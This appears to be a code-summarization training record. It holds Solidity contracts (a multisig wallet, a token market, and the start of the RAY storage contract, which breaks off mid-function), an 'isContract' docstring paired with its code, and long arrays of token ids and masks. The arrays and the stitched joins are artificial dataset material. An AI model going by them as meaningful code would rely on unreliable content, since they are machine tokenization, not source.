investors; } function getContracts() public constant returns (address[]) { return contracts; } function isWhiteListed(address addr) public constant returns (bool) { return whiteListed[addr]; } } contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) revert(); _; } modifier onlyOwner() { if(!isOwner[msg.sender]) revert(); _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) revert(); _; } modifier ownerExists(address owner) { if (!isOwner[owner]) revert(); _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) revert(); _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) revert(); _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) revert(); _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) revert(); _; } modifier notNull(address _address) { if (_address == 0) revert(); _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) revert(); _; } /// @dev Fallback function allows to deposit ether. function() public payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) revert(); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { transactions[transactionId].executed = true; if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data)) Execution(transactionId); else { ExecutionFailure(transactionId); transactions[transactionId].executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } contract Market is TokenController, MultiSigWallet { uint public totalTokenCollected; MiniMeToken public tokenContract; WhiteList public MyWhiteList; uint public basePrice; uint public marketCap; uint public startFundingTime; uint public endFundingTime; // market duration 6 hour. 6 * 60 * 60 uint public constant DURATION = 21600; modifier beforeStart { require(!saleStarted()); _; } modifier inProgress { require(saleStarted() && ! saleEnded()); _; } /// @return true if sale has started, false otherwise. function saleStarted() public constant returns (bool) { return (startFundingTime > 0 && now >= startFundingTime); } /// @return true if sale is due when the last phase is finished. function saleEnded() public constant returns (bool) { return now >= endFundingTime; } function Market( address _whiteListAddress, address _tokenAddress, address[] _owners, uint _required ) public MultiSigWallet(_owners, _required) { MyWhiteList = WhiteList(_whiteListAddress); tokenContract = MiniMeToken(_tokenAddress); } function startAndSetParams(uint _basePrice, uint _marketCap) onlyWallet beforeStart public { basePrice = _basePrice; marketCap = _marketCap; startFundingTime = now; endFundingTime = startFundingTime + DURATION; } function onTransfer(address _from, address _to, uint _amount) public returns(bool) { require (MyWhiteList.isWhiteListed(_from)); require (MyWhiteList.isWhiteListed(_to)); if(address(this) == _to) { uint ethAmount = computeEtherAmount(_amount); require(this.balance > ethAmount); totalTokenCollected = totalTokenCollected + _amount; _from.transfer(ethAmount); } return true; } function onApprove(address _owner, address _spender, uint) public returns(bool) { require (MyWhiteList.isWhiteListed(_owner)); require (MyWhiteList.isWhiteListed(_spender)); return true; } function deposit() public onlyOwner payable { // deposit ether in this contract but do not get any token; if (msg.value > 0) { Deposit(msg.sender, msg.value); } } function() public payable { require (MyWhiteList.isWhiteListed(msg.sender)); doPayment(msg.sender); } function proxyPayment(address _owner) public payable returns(bool) { require (MyWhiteList.isWhiteListed(_owner)); doPayment(_owner); return true; } function doPayment(address _owner) inProgress internal { require((tokenContract.controller() != 0) && (msg.value != 0)); uint tokenAmount = computeTokenAmount(msg.value); uint generateTokenAmount = tokenAmount - totalTokenCollected; uint currentSupply = tokenContract.totalSupply(); // total supply must not exceed marketCap after execution require(currentSupply + generateTokenAmount <= marketCap); // transfer collected token first. only generate token when necessary. if (tokenAmount >= totalTokenCollected) { if(totalTokenCollected !=0) { tokenContract.transfer(_owner, totalTokenCollected); totalTokenCollected = 0; } require(tokenContract.generateTokens(_owner, generateTokenAmount)); } else { tokenContract.transfer(_owner, tokenAmount); totalTokenCollected = totalTokenCollected - tokenAmount; } return; } function updateBasePriceAndMarketCap(uint _basePrice, uint _marketCap) onlyWallet public { basePrice = _basePrice; marketCap = _marketCap; } function computeTokenAmount(uint ethAmount) view internal returns (uint tokens) { tokens = ethAmount * basePrice; } function computeEtherAmount(uint tokenAmount) view internal returns (uint eth) { eth = tokenAmount / basePrice; } }
@dev Internal function to determine if an address is a contract @param _addr The address being queried @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; }
1,054,061
[ 1, 3061, 445, 358, 4199, 309, 392, 1758, 353, 279, 6835, 225, 389, 4793, 1021, 1758, 3832, 23264, 327, 1053, 309, 1375, 67, 4793, 68, 353, 279, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 353, 8924, 12, 2867, 389, 4793, 13, 5381, 2713, 1135, 12, 6430, 13, 288, 203, 565, 2254, 963, 31, 203, 565, 309, 261, 67, 4793, 422, 374, 13, 327, 629, 31, 203, 565, 19931, 288, 203, 3639, 963, 519, 1110, 7000, 554, 24899, 4793, 13, 203, 565, 289, 203, 565, 327, 963, 34, 20, 31, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** The software and documentation available in this repository (the "Software") is protected by copyright law and accessible pursuant to the license set forth below. Copyright © 2019 Staked Securely, Inc. All rights reserved. Permission is hereby granted, free of charge, to any person or organization obtaining the Software (the “Licensee”) to privately study, review, and analyze the Software. Licensee shall not use the Software for any other purpose. Licensee shall not modify, transfer, assign, share, or sub-license the Software or any derivative works of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND NON-INFRINGEMENT. IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE. */ pragma solidity 0.4.25; /// @notice Implementation of the Eternal Storage Pattern to enable the RAY /// smart contracts system to be upgradable. /// /// Author: Devan Purhar /// Version: 1.0.0 contract Storage { /*************** STORAGE VARIABLE DECLARATIONS **************/ // TODO: remove 'wallet', this will eventually be a contract, not an EOA address public governanceWalletAddress; mapping(address => bool) internal storageWrappers; // verified addresses to mutate Storage mapping(address => bool) internal oracles; // verified off-chain addresses to call the Oracle contract mapping(bytes32 => address) internal verifier; // verified contract for portfolio impls. mapping(bytes32 => address) internal contracts; // verified contracts of the system mapping(bytes32 => bytes32) internal tokenKeys; mapping(bytes32 => CommonState) internal _commonStorage; mapping(bytes32 => PortfolioState) internal _portfolioStorage; mapping(address => CoinState) internal _coinStorage; /// @notice Common state across RAY's and Opportunities struct CommonState { uint withdrawnYield; uint realizedYield; uint totalShareSupply; uint principal; // only used by Opportunities, only one principal balance to track per Opportunity pool bool pausedMode; address principalAddress; mapping(bytes32 => uint[4]) tokenValues; // include these for flexibility in the future mapping(bytes32 => bool) _bool; mapping(bytes32 => int) _int; mapping(bytes32 => uint) _uint; mapping(bytes32 => string) _string; mapping(bytes32 => address) _address; mapping(bytes32 => bytes) _bytes; } /// @notice Variables only Portfolios require struct PortfolioState { mapping(bytes32 => bytes32) opportunityTokens; bytes32[] opportunities; mapping(bytes32 => bool) validOpportunities; uint availableCapital; } /// @notice State that needs to be filled out for a coin to be added to the /// system. /// /// TODO: Remove minAmount. We should go back to only enforcing the technical /// minimal amount on-chain and leave any harder restrictions to GUI-side. /// It's not in favor of an 'open' system to have minimum limits. struct CoinState { uint benchmarkRate; uint cumulativeRate; uint lastUpdatedRate; // in seconds uint acpContribution; uint minAmount; uint raised; bool isERC20; } /*************** MODIFIER DECLARATIONS **************/ /// @notice Checks the caller is a valid Storage Wrapper /// /// @dev Only Storage Wrappers can mutate Storage's storage modifier onlyStorageWrappers() { require( storageWrappers[msg.sender] == true, "#Storage onlyStorageWrappers Modifier: Only StorageWrappers can call this" ); _; } /////////////////////// FUNCTION DECLARATIONS BEGIN /////////////////////// /******************* PUBLIC FUNCTIONS *******************/ /// @notice Sets the Admin contract to our wallet originally until we deploy /// the Admin contract (next step in deployment). Also sets our wallet /// wallet address as a storage wrapper, later unsets it. /// /// @param _governanceWalletAddress - governance's wallet address /// @param _weth - Canonical WETH9 contract address /// @param _dai - DAI token contract address constructor( address _governanceWalletAddress, address _weth, address _dai ) public { governanceWalletAddress = _governanceWalletAddress; contracts[keccak256("WETHTokenContract")] = _weth; contracts[keccak256("DAITokenContract")] = _dai; contracts[keccak256("AdminContract")] = msg.sender; // need to deploy Admin and then forgo this storageWrappers[msg.sender] = true; // need to deploy and set Storage Wrappers then forgo this } /** ----------------- GLOBAL VIEW ACCESSORS ----------------- **/ /// @notice Gets the current governance address /// /// @return governance address function getGovernanceWallet() external view returns (address) { return governanceWalletAddress; } /// @notice Checks if the entered address is an approved Oracle /// /// @param target - address we're checking out /// /// @return true or false function getIsOracle(address target) external view returns (bool) { return oracles[target]; } /// @notice Gets a contract address by a bytes32 hash (keccak256) /// /// @param contractName - Ex. keccak256("PortfolioManagerContract"); /// /// @return The contract address function getContractAddress(bytes32 contractName) external view returns (address) { return contracts[contractName]; } /// @notice Maps portfolio's to the contract that they currently are used /// through. Supports multiple versions of the same contracts /// /// @param contractName - Ex. keccak256("PortfolioManagerContract"); /// /// @return The contract address function getVerifier(bytes32 contractName) external view returns (address) { return verifier[contractName]; } /// @notice Each token is mapped to a key that unlocks everything for it /// in storage. /// /// @param tokenId - token id of the RAY token /// /// @return The portfolio id/key associated function getTokenKey(bytes32 tokenId) external view returns (bytes32) { return tokenKeys[tokenId]; } /** ----------------- STATE SPECIFIC-TYPE VIEW ACCESSOR ----------------- **/ /// @notice Get the Opportunities this portfolio is allowed to be in /// /// @param portfolioId - the id of the portfolio /// /// @return Array of valid opportunity id's function getOpportunities(bytes32 portfolioId) external view returns (bytes32[]) { return _portfolioStorage[portfolioId].opportunities; } /// @notice Get's the coin type of the entered RAY /// /// @param portfolioId - the id of the portfolio /// /// @return The coin associated with the portfolio /// /// TODO: Refactor to getPrincipalToken since we commonly use that function getPrincipalAddress(bytes32 portfolioId) external view returns (address) { return _commonStorage[portfolioId].principalAddress; } /// @notice Check if the entered coin is an ERC20 /// /// @param principalAddress - the coin contract address we're checking /// /// @return true or false function getIsERC20(address principalAddress) external view returns (bool) { return _coinStorage[principalAddress].isERC20; } /// @notice Get the min. amount for the associated coin /// /// @param principalAddress - the coin contract address we're checking /// /// @return min. amount in smallest units in-kind /// /// TODO: Remove this (and refactor the check used in PositionManager associated) function getMinAmount(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].minAmount; } /// @notice Get the normalizer factor for the associated coin /// /// @param principalAddress - the coin contract address we're checking /// /// @return multiplier to use on the input values for this coin function getRaised(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].raised; } /// @notice Gets the current benchmark rate of associated coin /// /// @param principalAddress - the coin contract address we're checking /// /// @return benchmark rate function getBenchmarkRate(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].benchmarkRate; } /// @notice Gets the cumulative rate of the portfolio entered /// /// @dev The cumulative rate tracks how the benchmark rate has /// progressed over time. Used in our fee model to find /// what benchmark rate is appropriate to a unique token /// based on when they joined and the changes the rate /// went through in that time period before they withdraw. /// /// @param principalAddress - the coin contract address we're checking /// /// @return the cumulative benchmark rate function getCumulativeRate(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].cumulativeRate; } /// @notice Gets the last time in seconds the cumulative rate was /// was updated for the associated coin /// /// @param principalAddress - the coin contract address we're checking /// /// @return Last time in seconds the cumulative rate was updated function getLastUpdatedRate(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].lastUpdatedRate; } /// @notice Gets the ACP Contribution for the associated coin /// /// @param principalAddress - the coin contract address we're checking /// /// @return the acp contribution function getACPContribution(address principalAddress) external view returns (uint) { return _coinStorage[principalAddress].acpContribution; } /// @notice Checks if the opportunity is allowed for the associated portfolio /// /// @param portfolioId - the id of the portfolio /// @param opportunityId - the id of the opportunity /// /// @return true or false function isValidOpportunity(bytes32 portfolioId, bytes32 opportunityId) external view returns (bool) { return _portfolioStorage[portfolioId].validOpportunities[opportunityId]; } /// @notice Get the shares of the associated token /// /// @param portfolioId - the id of the portfolio /// @param tokenId - the id of the token /// /// @return the number of shares function getTokenShares(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) { return _commonStorage[portfolioId].tokenValues[tokenId][0]; } /// @notice Get the capital of the associated token /// /// @param portfolioId - the id of the portfolio /// @param tokenId - the id of the token /// /// @return the amount of capital function getTokenCapital(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) { return _commonStorage[portfolioId].tokenValues[tokenId][1]; } /// @notice Gets the allowance of the associated token /// /// @dev Each token has an allowance which reflects how much yield they're /// able to make without being charged a fee by us. /// /// @param portfolioId - the id of the portfolio /// @param tokenId - the id of the token /// /// @return the amount of allowance function getTokenAllowance(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) { return _commonStorage[portfolioId].tokenValues[tokenId][2]; } /// @notice Gets the value of the cumulative rate the token 'entered' at. /// /// @dev I say 'entered' because when a token adds capital or partially withdraws /// or anytime it changes it's token capital we reset this. /// /// @param portfolioId - the id of the portfolio /// @param tokenId - the id of the token /// /// @return the entry rate in seconds /// /// TODO: Based on the above @dev we should refactor this to a more appropriate /// name function getEntryRate(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) { return _commonStorage[portfolioId].tokenValues[tokenId][3]; } /// @notice Gets the Opportunity Token of a portfolio. /// /// @dev We assume a portfolio will only need one of a certain Opportunity /// Token. It shouldn't ever need multiple of the same Opportunity. /// /// @param portfolioId - the id of the portfolio /// @param opportunityId - the id of the opportunity /// /// @return The Opportunity token id function getOpportunityToken(bytes32 portfolioId, bytes32 opportunityId) external view returns (bytes32) { return _portfolioStorage[portfolioId].opportunityTokens[opportunityId]; } /// @notice Get the principal supplied for the Opportunity /// /// @param opportunityId - the id of the opportunity /// /// @return the amount of principal supplied function getPrincipal(bytes32 opportunityId) external view returns (uint) { return _commonStorage[opportunityId].principal; } /// @notice Check if in paused mode for the associated portfolio /// /// @param portfolioId - the id of the portfolio /// /// @return true or false function getPausedMode(bytes32 portfolioId) external view returns (bool) { return _commonStorage[portfolioId].pausedMode; } /// @notice Gets the realized yield of the associated portfolio /// /// @dev Realized yield is the yield we've made, but withdrew /// back into the system and now use it as capital /// /// @param portfolioId - the id of the portfolio /// /// @return the yield realized function getRealizedYield(bytes32 portfolioId) external view returns (uint) { return _commonStorage[portfolioId].realizedYield; } /// @notice Gets the withdrawn yield of the associated portfolio /// /// @param portfolioId - the id of the portfolio /// /// @return the yield withdrawn function getWithdrawnYield(bytes32 portfolioId) external view returns (uint) { return _commonStorage[portfolioId].withdrawnYield; } /// @notice Gets the available capital of the portfolio associated /// /// @dev Available capital is the amount of funds available to a portfolio. /// This is instantiated by users depositing funds /// /// @param portfolioId - the id of the portfolio /// /// @return the available capital function getAvailableCapital(bytes32 portfolioId) external view returns (uint) { return _portfolioStorage[portfolioId].availableCapital; } /// @notice Gets the share supply of the portfolio associated /// /// @param portfolioId - the id of the portfolio /// /// @return the total shares function getShareSupply(bytes32 portfolioId) external view returns (uint) { return _commonStorage[portfolioId].totalShareSupply; } /** ----------------- GENERIC TYPE VIEW ACCESSOR ----------------- **/ function getBoolean(bytes32 ray, bytes32 key) external view returns (bool) { return _commonStorage[ray]._bool[key]; } function getInt(bytes32 ray, bytes32 key) external view returns (int) { return _commonStorage[ray]._int[key]; } function getUint(bytes32 ray, bytes32 key) external view returns (uint) { return _commonStorage[ray]._uint[key]; } function getAddress(bytes32 ray, bytes32 key) external view returns (address) { return _commonStorage[ray]._address[key]; } function getString(bytes32 ray, bytes32 key) external view returns (string) { return _commonStorage[ray]._string[key]; } function getBytes(bytes32 ray, bytes32 key) external view returns (bytes) { return _commonStorage[ray]._bytes[key]; } /** ----------------- ONLY STORAGE WRAPPERS GLOBAL MUTATORS ----------------- **/ /// @notice This sets the Governance Wallet - important since this wallet controls /// the Admin contract that controls 'Governance' in the system. /// /// @param newGovernanceWallet - the new governance address function setGovernanceWallet(address newGovernanceWallet) external onlyStorageWrappers { governanceWalletAddress = newGovernanceWallet; } /// @dev Adds or remove an address to Oracle permissions status /// /// @param oracle - the address of the wallet targeted /// @param action - the action we wish to carry out, true to add, false to remove function setOracle(address oracle, bool action) external onlyStorageWrappers { oracles[oracle] = action; } /// @notice Adds or removes an address to StorageWrapper permissions status /// /// @param theStorageWrapper - the address to either add or remove /// @param action - the action we wish to carry out, true to add, false to remove function setStorageWrapperContract( address theStorageWrapper, bool action ) external onlyStorageWrappers { storageWrappers[theStorageWrapper] = action; } /// @notice Sets a portfolio or opportunity to a contract implementation /// /// @param typeId - the portfolio or opportunity id /// @param contractAddress - the contract address function setVerifier(bytes32 typeId, address contractAddress) external onlyStorageWrappers { verifier[typeId] = contractAddress; } /// @notice Sets the contract address mapped to a contracts name /// /// @param contractName - The name of the contract /// @param contractAddress - The address of the contract function setContractAddress( bytes32 contractName, address contractAddress ) external onlyStorageWrappers { contracts[contractName] = contractAddress; } /// @notice Sets a portfolio id to a token /// /// @param tokenId - The id of the token /// @param portfolioId - The id of the portfolio function setTokenKey(bytes32 tokenId, bytes32 portfolioId) external onlyStorageWrappers { tokenKeys[tokenId] = portfolioId; } /// @notice Sets status on ERC20 for the associated coin /// /// @param principalAddress - The coin's contract address /// @param _isERC20 - true if is ERC20, false if not function setIsERC20(address principalAddress, bool _isERC20) external onlyStorageWrappers { _coinStorage[principalAddress].isERC20 = _isERC20; } /// @notice Sets the min. amount for the associated coin /// /// @param principalAddress - The coin's contract address /// @param _minAmount - the min. amount in-kind smallest units function setMinAmount(address principalAddress, uint _minAmount) external onlyStorageWrappers { _coinStorage[principalAddress].minAmount = _minAmount; } /// @notice Sets the normalizing multiplier for the associated coin /// /// @param principalAddress - The coin's contract address /// @param _raised - the multiplier function setRaised(address principalAddress, uint _raised) external onlyStorageWrappers { _coinStorage[principalAddress].raised = _raised; } /// @notice Sets the benchmark rate for the associated coin /// /// @param principalAddress - The coin's contract address /// @param newBenchmarkRate - the new benchmark rate function setBenchmarkRate( address principalAddress, uint newBenchmarkRate ) external onlyStorageWrappers { _coinStorage[principalAddress].benchmarkRate = newBenchmarkRate; } /// @notice Sets the cumulative rate for the associated coin /// /// @param principalAddress - The coin's contract address /// @param newCumulativeRate - the new cumulative rate function setCumulativeRate( address principalAddress, uint newCumulativeRate ) external onlyStorageWrappers { _coinStorage[principalAddress].cumulativeRate = newCumulativeRate; } /// @notice Sets the timestamp for last updating the rate for the associated coin /// /// @param principalAddress - The coin's contract address /// @param newLastUpdatedRate - the new last updated rate function setLastUpdatedRate( address principalAddress, uint newLastUpdatedRate ) external onlyStorageWrappers { _coinStorage[principalAddress].lastUpdatedRate = newLastUpdatedRate; } /// @notice Sets the acp contribution for the associated coin /// /// @param principalAddress - The coin's contract address /// @param newACPContribution - the new acp contribution function setACPContribution( address principalAddress, uint newACPContribution ) external onlyStorageWrappers { _coinStorage[principalAddress].acpContribution = newACPContribution; } /** ----------------- ONLY STORAGE WRAPPERS STATE SPECIFIC MUTATORS ----------------- **/ /// @notice Clears the data of the associated token (used upon a burn) /// /// @param portfolioId - the id of the portfolio /// @param tokenId - the id of the token function deleteTokenValues(bytes32 portfolioId, bytes32 tokenId) external onlyStorageWrappers { delete _commonStorage[portfolioId].tokenValues[tokenId]; } /// @notice Add an Opportunity to a portfolio's available options. We also set /// the principal address used by the portfolio at the same time. /// /// @param portfolioId - The id of the portfolio we're configuring /// @param opportunityKey - The key of the opportunity we're adding to this portfolio /// @param _principalAddress - The coin's contract address for this portfolio // /// TODO: This is in-efficient, we set the principal address multiple times /// for the same portfolio. Fix this. /// /// TODO: Refactor principalToken -> principalAddress or opposite? function addOpportunity( bytes32 portfolioId, bytes32 opportunityKey, address _principalAddress ) external onlyStorageWrappers { _portfolioStorage[portfolioId].opportunities.push(opportunityKey); _commonStorage[portfolioId].principalAddress = _principalAddress; } /// @notice Set the principal address/coin of the associated portfolio /// /// @param portfolioId - The id of the portfolio we're configuring /// @param _principalAddress - The coin's contract address for this portfolio function setPrincipalAddress( bytes32 portfolioId, address _principalAddress ) external onlyStorageWrappers { _commonStorage[portfolioId].principalAddress = _principalAddress; } /// @notice Set an opportunity as valid in a mapping to a portfolio key /// /// @dev We set the valid opportunities in an array, but we also set them /// here for quicker access instead of having to iterate through the array. /// Sacrifice the extra gas cost (20,000) per opportunity we 'double set' /// /// @param portfolioId - the id of the portfolio /// @param opportunityId - the id of the opportunity function setValidOpportunity(bytes32 portfolioId, bytes32 opportunityId) external onlyStorageWrappers { _portfolioStorage[portfolioId].validOpportunities[opportunityId] = true; } /// @notice Set the shares of the associated token /// /// @param portfolioId - The id of the portfolio we're configuring /// @param tokenId - The id of the token we're configuring /// @param tokenShares - The number of shares function setTokenShares( bytes32 portfolioId, bytes32 tokenId, uint tokenShares ) external onlyStorageWrappers { _commonStorage[portfolioId].tokenValues[tokenId][0] = tokenShares; } /// @notice Set the capital of the associated token /// /// @param portfolioId - The id of the portfolio we're configuring /// @param tokenId - The id of the token we're configuring /// @param tokenCapital - The amount of capital function setTokenCapital( bytes32 portfolioId, bytes32 tokenId, uint tokenCapital ) external onlyStorageWrappers { _commonStorage[portfolioId].tokenValues[tokenId][1] = tokenCapital; } /// @notice Set the allowance of the associated token /// /// @param portfolioId - The id of the portfolio we're configuring /// @param tokenId - The id of the token we're configuring /// @param tokenAllowance - The amount of allowance function setTokenAllowance( bytes32 portfolioId, bytes32 tokenId, uint tokenAllowance ) external onlyStorageWrappers { _commonStorage[portfolioId].tokenValues[tokenId][2] = 